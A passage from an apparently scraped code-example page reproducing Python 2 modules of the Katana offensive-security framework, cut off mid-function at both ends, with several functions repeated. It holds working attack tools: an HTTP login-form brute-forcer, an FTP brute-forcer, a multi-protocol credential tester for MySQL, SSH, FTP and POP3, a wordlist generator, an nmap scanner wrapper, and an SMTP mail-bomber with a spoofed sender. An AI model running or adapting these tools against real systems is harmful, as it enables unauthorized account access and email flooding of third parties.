                        print " " + Alr + " Starting Apache Server", ping.status_cmd(
                            "service apache2 start", "\t\t\t")
                        d.go("http://127.0.0.1/redirect.php?id=1337")
                        raw_input(" " + Hlp +
                                  " Press any key for Stop GetDataReport")
                        print(" " + Alr + " Stoping Process")
                        print " " + Alr + " Removing files", ping.status_cmd(
                            "rm " + PATCH_WWW + "/redirect.php " + PATCH_WWW +
                            "/appconfig.php " + PATCH_WWW + "/jquery.js",
                            "\t\t\t\t")
                        print " " + Alr + " Stoping Apache", ping.status_cmd(
                            "service apache2 stop", "\t\t\t\t")
                    except:
                        print ""
                        print(" " + Alr + " Stoping Process")
                        print " " + Alr + " Removing files", ping.status_cmd(
                            "rm " + PATCH_WWW + "/redirect.php " + PATCH_WWW +
                            "appconfig.php " + PATCH_WWW + "/jquery.js",
                            "\t\t\t\t")
                        print " " + Alr + " Stoping Apache", ping.status_cmd(
                            "service apache2 stop", "\t\t\t\t")
                        print ""
                        getdatareport(0)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    getdatareport(0)
예제 #28
0
def PortScanner(run):
	global defaultnet,defaulttyp,parameter
	try:
		if run!=1:
			actions=raw_input(d.prompt("net/portscan"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP or DNS",defaultnet)
			d.descrip("type","no","Type of scan",defaulttyp)
			d.space()
			d.helpAUX()
			print " "+colors[7]+"Type  Description                       Speed"+colors[0]
			print " [p-0] Intense scan                       slow"	
			print " [p-1] Intense scan plus UDP              slow"
			print " [p-2] Intense scan, all TCP ports        very slow"	
			print " [p-3] Intense scan, no ping              slow"
			print " [p-4] Ping scan                          fast"	
			print " [p-5] Quick scan                         fast"
			print " [p-6] Quick scan plus                    fast"                        	
			print " [p-7] Quick traceroute                   fast"
			print " [p-8] Regular scan                       slow"	
			print " [p-9] Slow comprehensive scan            fast"
			d.space()
			PortScanner(0)
		elif actions[0:10] == "set target":
			defaultnet=ping.update(defaultnet,actions,"target")
			d.change("target",defaultnet)
		elif actions[0:8] == "set type":
			defaulttyp=ping.update(defaultnet,actions,"type")
			if defaulttyp=="p-0":
				parameter="-T4 -A -v"
			elif defaulttyp=="p-1":
				parameter="-sS -sU -T4 -A -v"
			elif defaulttyp=="p-2":
				parameter="-p 1-65535 -T4 -A -v"
			elif defaulttyp=="p-3":
				parameter="-T4 -A -v -Pn"
			elif defaulttyp=="p-4":
				parameter="-sn"
			elif defaulttyp=="p-5":
				parameter="-T4 -F"
			elif defaulttyp=="p-6":
				parameter="-sV -T4 -O -F --version-light"
			elif defaulttyp=="p-7":
				parameter="-sn --traceroute"
			elif defaulttyp=="p-8":
				parameter=""
			elif defaulttyp=="p-9":
				parameter="-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script 'default or (discovery and safe)'"
			else:
				defaulttyp="p-0"
 				print " "+Bad+" Type not allow, use show options or sop and see Auxiliar help."
				PortScanner(0)
			defaulttyp=ping.update(defaulttyp,actions,"type")
			d.change("type",defaulttyp)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				print " "+Alr+" Scanning Target: "+defaultnet+" wait it may take a few minutes."
				OSMATCHs=[]
				SERVICEs=[]
				INFORMEs=[]
				MAC="Unknow"
				VENDOR="Unknow"
				d.space()
				commands.getoutput(NMAP_PATH+" "+parameter+" "+defaultnet+" -oX tmp/portScanner-tmp.xml > null")
				tree = ET.parse('tmp/portScanner-tmp.xml')
				root = tree.getroot()
				for host in root.findall('host'):
					for address in host.findall('address'):
						p=address.get('addr')
						if not address.get('vendor'):
							VENDOR=VENDOR 
						else:
							VENDOR=address.get('vendor')
						if p.find(":") <= 0 :
							IP=address.get('addr')
						else: 
							MAC=address.get('addr')

					for ports in host.findall('ports'):
						for port in ports.findall('port'):
							PROTOCOL=port.get('protocol')
							PORT=port.get('portid')
							for service in port.findall('service'):
								if not service.get('product'):
									product="{NULL}"
									version="{NULL}"
									info="{NULL}"	
								else:
									product=service.get('product')
									version=service.get('version')
									info=service.get('extrainfo')
								product=str("{NULL}" if product is None else product)
								version=str("{NULL}" if version is None else version)
								info=str("{NULL}" if info is None else info)
								SERVICEs.append(colors[7]+service.get('name')+colors[0]+" ["+product+"] "+version+info+" "+colors[10]+colors[3]+PROTOCOL+"-Port: "+PORT+colors[0])

					for hostscript in host.findall('hostscript'):
						for script in hostscript.findall('script'):
							if script.get('id') == 'smb-os-discovery':
								INFORMEs.append(script.get('output'))

					for os in host.findall('os'):
						for osmatch in os.findall('osmatch'):
							OSMATCHs.append(osmatch.get('name'))


				print " Ip address: "+defaultnet
				print " Mac       : "+MAC
				print " Vendor    : "+VENDOR
				print " OS Matchs : "
				for os in OSMATCHs:
					print "             "+os
				print " Services  : " 				
				for services in SERVICEs:
					print "             "+str(services) 
				print " Report    :"
				for informer in INFORMEs:
					informer=str("{NULL}" if informer is "" else informer)
					print str(informer) 
				commands.getoutput('rm tmp/portScanner-tmp.xml > null')
				d.space()
			except:
				Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=False)
	PortScanner(0)
예제 #29
0
def httpformbasebruteforce(run):
    try:
        global defaulthost, defaultport, defaultpach, defaultuser, defaultdic2, defaultdat1, defaultdat2, defaultmeth, defaultcont
        if run != 1:
            actions = raw_input(d.prompt("web/formbt"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("patch", "yes", "Folder or dir", defaultpach)
            d.descrip("para_1", "yes", "Parameter 1", defaultdat1)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("para_2", "yes", "Parameter 2", defaultdat2)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdic2)
            d.descrip("method", "yes", "POST or GET", defaultmeth)
            d.descrip("condit", "yes", "[if!=]No Logged", defaultcont)
            print ""
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:9] == "set patch":
            defaultpach = ping.update(defaultpach, actions, "patch")
            d.change("patch", defaultpach)
        elif actions[0:10] == "set condit":
            defaultcont = ping.update(defaultcont, actions, "condit")
            d.change("condit", defaultcont)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:10] == "set dict_1":
            defaultdic2 = ping.update(defaultdic2, actions, "dict_1")
            d.change("dict_1", defaultdic2)
        elif actions[0:10] == "set para_1":
            defaultdat1 = ping.update(defaultdat1, actions, "para_1")
            d.change("para_1", defaultdat1)
        elif actions[0:10] == "set para_2":
            defaultdat2 = ping.update(defaultdat2, actions, "para_2")
            d.change("para_2", defaultdat2)
        elif actions[0:10] == "set method":
            defaultmeth = ping.update(defaultmeth, actions, "method")
            d.change("method", defaultmeth)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    try:
                        d.loading_file()
                        try:
                            with open(defaultdic2, "r") as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    params = urllib.urlencode({defaultdat1: defaultuser, defaultdat2: ps})
                                    header = {
                                        "Content-type": "application/x-www-form-urlencoded",
                                        "Accept": "text/plain",
                                    }
                                    conn = httplib.HTTPConnection(defaulthost, defaultport)
                                    conn.request(defaultmeth, defaultpach, params, header)
                                    response = conn.getresponse()
                                    ver_source = response.read()
                                    if ver_source.find(defaultcont) <= 0:
                                        ping.savefour(
                                            "BruteForceFormBase",
                                            defaulthost,
                                            defaultport,
                                            defaultpach,
                                            defaultmeth,
                                            defaultdat1,
                                            defaultdat2,
                                            defaultuser,
                                            ps,
                                        )
                                        print "\n-" + Suf + " Successfully with [" + defaultdat1 + "=" + defaultuser + "][" + defaultdat2 + "=" + ps + "]\n"
                                        httpformbasebruteforce(0)
                                    else:
                                        print " " + Alr + " Checking (" + defaultdat1 + "=" + defaultuser + ")(" + defaultdat2 + "=" + ps + ")"
                        except:
                            Errors.Errors(event=sys.exc_info()[0], info=defaultdic2)
                    except:
                        Errors.Errors(event=sys.exc_info()[0], info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    httpformbasebruteforce(0)
예제 #30
0
def Gendic(run):
    try:
        global defaultdic, defaultlon, defaultstr
        if run != 1:
            actions = raw_input(d.prompt("mc/gendic"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("path", "yes", "Output file", defaultdic)
            d.descrip("long", "yes", "Longitude", defaultlon)
            d.descrip("type", "yes", "Type matrix", defaultstr)
            d.helpAUX()
            print " " + colors[7] + "Type        Description" + colors[0]
            print " chars_min = [a,b,c,...,z]"
            print " chars_may = [A,B,C,...,Z]"
            print " chars_num = [0,1,2,...,9]"
            print " chars_mix = [a,b,...,0,1]"
            d.space()
            Gendic(0)
        elif actions[0:8] == "set path":
            defaultdic = ping.update(defaultdic, actions, "path")
            d.change("path", defaultdic)
        elif actions[0:8] == "set long":
            defaultlon = ping.update(defaultstr, actions, "long")
            d.change("long", defaultlon)
        elif actions[0:8] == "set type":
            defaultstr = actions[9:]
            if defaultstr != "chars_min" and defaultstr != "chars_may" and defaultstr != "chars_num" and defaultstr != "chars_mix":
                print " " + Alr + " Error to set type, use chars_min, chars_mix, chars_may or chars_num"
                defaultstr = "chars_num"
                Gendic(0)
            else:
                defaultstr = defaultstr
                d.change("type", defaultstr)
                Gendic(0)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                Maxima = 1
                long_max = long(defaultlon)
                long_min = long(defaultlon)
                char_null = ['']
                chars_min = [
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
                    'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
                    'y', 'z'
                ]
                chars_may = [
                    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
                    'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
                    'Y', 'Z'
                ]
                chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
                chars_spe = ['.', '-', '_', '/', '@']
                permitidos = []
                permitidos += char_null
                if defaultstr == "chars_num":
                    permitidos += chars_num
                if defaultstr == "chars_may":
                    permitidos += chars_may
                if defaultstr == "chars_min":
                    permitidos += chars_min
                if defaultstr == "chars_mix":
                    permitidos += chars_min
                    permitidos += chars_num
                total_chars = len(permitidos)
                char_n_max = total_chars - 1
                cadena = []
                for chars in range(0, long_max):
                    cadena += [0]
                for i in range(1, long_min + 1):
                    cadena[-(i)] = 1
                cadena_max = []
                for chars in range(0, long_max):
                    cadena_max += [total_chars - 1]

                def toClave(cadena1):
                    password = ""
                    for indice in cadena1:
                        password += permitidos[indice]
                    return password

                def isMax(cadena1):
                    if toClave(cadena1) != toClave(cadena_max):
                        return False
                    return True

                def aumentarCadena(cadena1):
                    unidad = 1
                    acarreo = 0
                    for digito in range(1, long_max + 1):
                        if cadena[-(digito)] < char_n_max:
                            if unidad == 1:
                                cadena[-(digito)] += 1
                                unidad = 0
                                return cadena1
                            elif acarreo == 1:
                                cadena[-(digito)] += 1
                                acarreo = 0
                                return cadena1
                        else:
                            cadena[-(digito)] = 1
                            acarreo = 1
                    return cadena1

                for number_total in cadena_max:
                    Maxima = Maxima * number_total
                procent = int(Maxima) / 10
                counter = 0
                porcent = 0
                print " " + Alr + " Creating file...      ", ping.status_cmd(
                    "echo  >" + defaultdic, "\t\t\t")
                print " " + Alr + " Generating... [" + str(
                    Maxima) + "] Words to Generate " + str(
                        porcent) + "% Complete"
                fichero = open(defaultdic, 'w')
                bucle = True
                while bucle:
                    password = toClave(cadena)
                    fichero.write(password + '\n')
                    counter = counter + 1
                    if procent == counter:
                        procent = procent + procent
                        porcent = porcent + 20
                        print " " + War + " " + str(
                            porcent) + "% Porcent Complete"
                    if isMax(cadena):
                        porcent = porcent + 20
                        print " " + War + " " + str(
                            porcent) + "% Porcent Complete"
                        bucle = False
                    cadena = aumentarCadena(cadena)
                print(" " + Suf + " Completed, output file in " + defaultdic)
                d.space()
                fichero.close()
            except:
                Errors.Errors(event=sys.exc_info(), info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=False)
    Gendic(0)
예제 #31
0
def smtpbombing(run):
    global defaulthost, defaultport, defaultfrom, defaultdest, defaultsubj, defaulttemp, defaultmany
    try:
        if run != 1:
            actions = raw_input(d.prompt("set/mailboom"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("host", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port	", defaultport)
            d.descrip("target", "yes", "E-mail target", defaultdest)
            d.descrip("from", "yes", "E-mail fake", defaultfrom)
            d.descrip("subjet", "yes", "Subject fake", defaultsubj)
            d.descrip("tempte", "yes", "Template", defaulttemp)
            d.descrip("many", "no", "Amount to send", defaultmany)
            print ""
            smtpbombing(0)
        elif actions[0:8] == "set host":
            defaulthost = ping.update(defaulthost, actions, "host")
            d.change("host", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:10] == "set target":
            defaultdest = actions[11:]
            d.change("target", defaultdest)
            smtpbombing(0)
        elif actions[0:8] == "set from":
            defaultfrom = actions[9:]
            d.change("from", defaultfrom)
            smtpbombing(0)
        elif actions[0:10] == "set subjet":
            defaultsubj = actions[11:]
            d.change("subjet", defaultsubj)
            smtpbombing(0)
        elif actions[0:10] == "set tempte":
            defaulttemp = actions[11:]
            d.change("tempte", defaulttemp)
            smtpbombing(0)
        elif actions[0:8] == "set many":
            defaultmany = actions[9:]
            d.change("tempte", defaultmany)
            smtpbombing(0)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            i = int(defaultmany)
            try:
                with open(defaulttemp, 'r') as body:
                    try:
                        smtp = smtplib.SMTP(defaulthost, defaultport)
                        while 0 < i:
                            i -= 1

                            try:
                                smtp.sendmail(defaultfrom, defaultdest, body)
                                if True:
                                    print " " + Suf + " (" + str(
                                        i) + ")E-Mail was sent."
                            except:
                                print " " + Bad + " (" + str(
                                    i) + ")E-mail not was sent."
                    except:
                        Errors.Errors(event=sys.exc_info()[0],
                                      info=defaulthost + ":" + defaultport)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=defaulttemp)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    smtpbombing(0)
예제 #32
0
파일: GenDic.py 프로젝트: Reality9/Katana
def Gendic(run):
	try:
		global defaultdic,defaultlon,defaultstr
		if run!=1:
			actions=raw_input(d.prompt("mc/gendic"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("path","yes","Output file",defaultdic)
			d.descrip("long","yes","Longitude",defaultlon)
 			d.descrip("type","yes","Type matrix",defaultstr)
			d.helpAUX()
			print " "+colors[7]+"Type        Description"+colors[0]
			print " chars_min = [a,b,c,...,z]"
			print " chars_may = [A,B,C,...,Z]"
			print " chars_num = [0,1,2,...,9]"
			print " chars_mix = [a,b,...,0,1]"
			d.space()
			Gendic(0)
		elif actions[0:8] == "set path":
			defaultdic=ping.update(defaultdic,actions,"path")
			d.change("path",defaultdic)
		elif actions[0:8] == "set long":
			defaultlon=ping.update(defaultstr,actions,"long")
			d.change("long",defaultlon)
		elif actions[0:8] == "set type":
				defaultstr = actions[9:]
				if defaultstr != "chars_min" and defaultstr != "chars_may" and defaultstr != "chars_num" and defaultstr != "chars_mix":
					print " "+Alr+" Error to set type, use chars_min, chars_mix, chars_may or chars_num"
					defaultstr="chars_num"
					Gendic(0)
				else:
					defaultstr=defaultstr
					d.change("type",defaultstr)
					Gendic(0)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				Maxima=1
				long_max = long(defaultlon) 
				long_min = long(defaultlon)
				char_null = ['']
				chars_min = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
				chars_may = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
				chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
				chars_spe = ['.', '-', '_', '/', '@']
				permitidos = []
				permitidos += char_null
				if defaultstr == "chars_num":
					permitidos += chars_num
				if defaultstr == "chars_may":
					permitidos += chars_may
				if defaultstr == "chars_min":
					permitidos += chars_min
				if defaultstr == "chars_mix":
					permitidos +=chars_min
					permitidos +=chars_num
				total_chars = len(permitidos)
				char_n_max = total_chars - 1
				cadena = []
				for chars in range(0, long_max):
					cadena += [0]
				for i in range (1, long_min+1):
					cadena[-(i)] = 1
				cadena_max = []
				for chars in range(0, long_max):
					cadena_max += [ total_chars -1 ]
				def toClave(cadena1):
					password = ""
					for indice in cadena1:
						password += permitidos[indice]
					return password
				def isMax(cadena1):
					if toClave(cadena1) != toClave(cadena_max):
						return False
					return True
				def aumentarCadena(cadena1):
					unidad = 1
					acarreo = 0
					for digito in range(1,long_max +1):
						if cadena[-(digito)] < char_n_max:
							if unidad == 1:
								cadena[-(digito)] += 1
								unidad = 0
								return cadena1
							elif acarreo == 1:
								cadena[-(digito)] += 1
								acarreo = 0
								return cadena1
						else: 
							cadena[-(digito)] = 1
							acarreo = 1
					return cadena1
				for number_total in cadena_max:
					Maxima=Maxima*number_total
				procent=int(Maxima)/10
				counter=0
				porcent=0
				print " "+Alr+" Creating file...      ",ping.status_cmd("echo  >"+defaultdic, "\t\t\t")
				print " "+Alr+" Generating... ["+str(Maxima)+"] Words to Generate "+str(porcent)+"% Complete"
				fichero = open(defaultdic, 'w')
				bucle = True
				while bucle:
				    password = toClave(cadena)
				    fichero.write(password + '\n')
				    counter=counter+1
				    if procent == counter:
				    	procent=procent+procent
				    	porcent=porcent+20
				    	print " "+War+" "+str(porcent)+"% Porcent Complete"
				    if isMax(cadena):
				    	porcent=porcent+20
				    	print " "+War+" "+str(porcent)+"% Porcent Complete"
				    	bucle = False
				    cadena = aumentarCadena(cadena)
				print(" "+Suf+" Completed, output file in "+defaultdic)
				d.space()
				fichero.close()
			except:
				Errors.Errors(event=sys.exc_info(), info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=False)
	Gendic(0)
예제 #33
0
def tlogin(run):
	try:
		global defaulthost,defaultuser,defaultpass
		if run!=1:
			actions=raw_input(d.prompt("mc/tlogin"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP or DNS",defaulthost)
 			d.descrip("user","yes","Username",defaultuser)
 			d.descrip("pass","yes","Password",defaultpass)
			d.space()
			tlogin(0)
		elif actions[0:10] == "set target":
			defaulthost=defaulthost.replace("http://", "")
			defaulthost=ping.update(defaulthost,actions,"target")
			d.change("target",defaulthost)
		elif actions[0:8] == "set user":
			defaultuser=ping.update(defaultuser,actions,"user")
			d.change("user",defaultuser)
		elif actions[0:8] == "set pass":
			defaultpass=ping.update(defaultpass,actions,"pass")
			d.change("pass",defaultpass)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				d.testing("Mysql","3306")
				MySQLdb.connect(defaulthost,defaultuser,defaultpass,'')
				d.live_protocol()
				if True:
					print(" "+Suf+" Logged with "+defaultuser+"/"+defaultpass+" in Mysql")
			except:
				Errors.Errors(event=sys.exc_info(), info=False)

			try:
				d.testing("SSH",SSH_PORT)
				connect = pxssh.pxssh()
				connect.login(defaulthost,defaultuser,defaultpass)
				d.live_protocol()
				if True:
					print(" "+Suf+" Logged with "+defaultuser+"/"+defaultpass+" in SSH")
			except:
				print " "+Bad+" Service Off or No Logged."
			try:
				d.testing("FTP",FTP_PORT)
				ftp.login(defaultuser,defaultpass)
				if True:
					print(" "+Suf+" Logged with "+defaultuser+"/"+defaultpass+" in FTP")
			except:
				print " "+Bad+" Service Off or No Logged."
			try:
				d.testing("POP3",POP_PORT)
				red=poplib.POP3(defaulthost, 110)
				red.user(defaultuser+"@"+defaulthost)
				red.pass_(defaultpass)
				if True:
					print(" "+Suf+" Logged with "+defaultuser+"/"+defaultpass+" in POP3")
			except:
				print " "+Bad+" Service Off or No Logged."
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	tlogin(0)
예제 #34
0
def smtpbombing(run):
	global defaulthost,defaultport,defaultfrom,defaultdest,defaultsubj,defaulttemp,defaultmany
	try:
		if run!=1:
			actions=raw_input(d.prompt("set/mailboom"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("host","yes","IP or DNS",defaulthost)
			d.descrip("port","no","Port	",defaultport)
			d.descrip("target","yes","E-mail target",defaultdest)
			d.descrip("from","yes","E-mail fake",defaultfrom)
 			d.descrip("subjet","yes","Subject fake",defaultsubj)
 			d.descrip("tempte","yes","Template",defaulttemp)
			d.descrip("many","no","Amount to send",defaultmany)
			print ""
			smtpbombing(0)
		elif actions[0:8] == "set host":
			defaulthost=ping.update(defaulthost,actions,"host")
			d.change("host",defaulthost)
		elif actions[0:8] == "set port":
			defaultport=ping.update(defaultport,actions,"port")
			d.change("port",defaultport)
		elif actions[0:10] == "set target":
			defaultdest = actions[11:]
			d.change("target",defaultdest)
			smtpbombing(0)
		elif actions[0:8] == "set from":
			defaultfrom = actions[9:]
			d.change("from",defaultfrom)
			smtpbombing(0)
		elif actions[0:10] == "set subjet":
			defaultsubj = actions[11:]
			d.change("subjet",defaultsubj)
			smtpbombing(0)
		elif actions[0:10] == "set tempte":
			defaulttemp = actions[11:]
			d.change("tempte",defaulttemp)
			smtpbombing(0)
		elif actions[0:8] == "set many":
			defaultmany = actions[9:]
			d.change("tempte",defaultmany)
			smtpbombing(0)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			i=int(defaultmany)
			try:
				with open(defaulttemp,'r') as body:
					try:
						smtp = smtplib.SMTP(defaulthost, defaultport)
						while 0 < i:
							i-=1

							try:
							 	smtp.sendmail(defaultfrom, defaultdest, body) 
							 	if True:
							 		print " "+Suf+" ("+str(i)+")E-Mail was sent."
							except:
							 	print " "+Bad+" ("+str(i)+")E-mail not was sent."
					except:
						Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport)
			except:
				Errors.Errors(event=sys.exc_info()[0], info=defaulttemp)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	smtpbombing(0)
예제 #35
0
def httpformbasebruteforce(run):
    try:
        global defaulthost, defaultport, defaultpach, defaultuser, defaultdic2, defaultdat1, defaultdat2, defaultmeth, defaultcont
        if run != 1:
            actions = raw_input(d.prompt("web/formbt"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("patch", "yes", "Folder or dir", defaultpach)
            d.descrip("para_1", "yes", "Parameter 1", defaultdat1)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("para_2", "yes", "Parameter 2", defaultdat2)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdic2)
            d.descrip("method", "yes", "POST or GET", defaultmeth)
            d.descrip("condit", "yes", "[if!=]No Logged", defaultcont)
            print ""
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:9] == "set patch":
            defaultpach = ping.update(defaultpach, actions, "patch")
            d.change("patch", defaultpach)
        elif actions[0:10] == "set condit":
            defaultcont = ping.update(defaultcont, actions, "condit")
            d.change("condit", defaultcont)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:10] == "set dict_1":
            defaultdic2 = ping.update(defaultdic2, actions, "dict_1")
            d.change("dict_1", defaultdic2)
        elif actions[0:10] == "set para_1":
            defaultdat1 = ping.update(defaultdat1, actions, "para_1")
            d.change("para_1", defaultdat1)
        elif actions[0:10] == "set para_2":
            defaultdat2 = ping.update(defaultdat2, actions, "para_2")
            d.change("para_2", defaultdat2)
        elif actions[0:10] == "set method":
            defaultmeth = ping.update(defaultmeth, actions, "method")
            d.change("method", defaultmeth)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    try:
                        d.loading_file()
                        try:
                            with open(defaultdic2, 'r') as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    params = urllib.urlencode({
                                        defaultdat1: defaultuser,
                                        defaultdat2: ps
                                    })
                                    header = {
                                        "Content-type":
                                        "application/x-www-form-urlencoded",
                                        "Accept": "text/plain"
                                    }
                                    conn = httplib.HTTPConnection(
                                        defaulthost, defaultport)
                                    conn.request(defaultmeth, defaultpach,
                                                 params, header)
                                    response = conn.getresponse()
                                    ver_source = response.read()
                                    if ver_source.find(defaultcont) <= 0:
                                        ping.savefour("BruteForceFormBase",
                                                      defaulthost, defaultport,
                                                      defaultpach, defaultmeth,
                                                      defaultdat1, defaultdat2,
                                                      defaultuser, ps)
                                        print "\n-" + Suf + " Successfully with [" + defaultdat1 + "=" + defaultuser + "][" + defaultdat2 + "=" + ps + "]\n"
                                        httpformbasebruteforce(0)
                                    else:
                                        print " " + Alr + " Checking (" + defaultdat1 + "=" + defaultuser + ")(" + defaultdat2 + "=" + ps + ")"
                        except:
                            Errors.Errors(event=sys.exc_info()[0],
                                          info=defaultdic2)
                    except:
                        Errors.Errors(event=sys.exc_info()[0], info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    httpformbasebruteforce(0)
예제 #36
0
def btftp(run):
    try:
        global defaulthost, defaultport, defaultuser, defaultdicc
        if run != 1:
            actions = raw_input(d.prompt("bt/ftp"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc)
            d.space()
            btftp(0)
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:10] == "set dict_1":
            defaultdicc = ping.update(defaultdicc, actions, "dict_1")
            d.change("dict_1", defaultdicc)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ftp = FTP(defaulthost)
                if True:
                    try:
                        d.loading_file()
                        try:
                            with open(defaultdicc, 'r') as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    try:
                                        ftp.login(defaultuser, ps)
                                        if True:
                                            ping.save("BruteForceFTP",
                                                      defaulthost, defaultport,
                                                      defaultuser, ps)
                                            d.Success(defaultuser, ps)
                                            return 1
                                    except:
                                        print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")"
                        except:
                            Errors.Errors(event=sys.exc_info()[0],
                                          info=defaultdicc)
                    except:
                        Errors.Errors(event=sys.exc_info()[0], info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
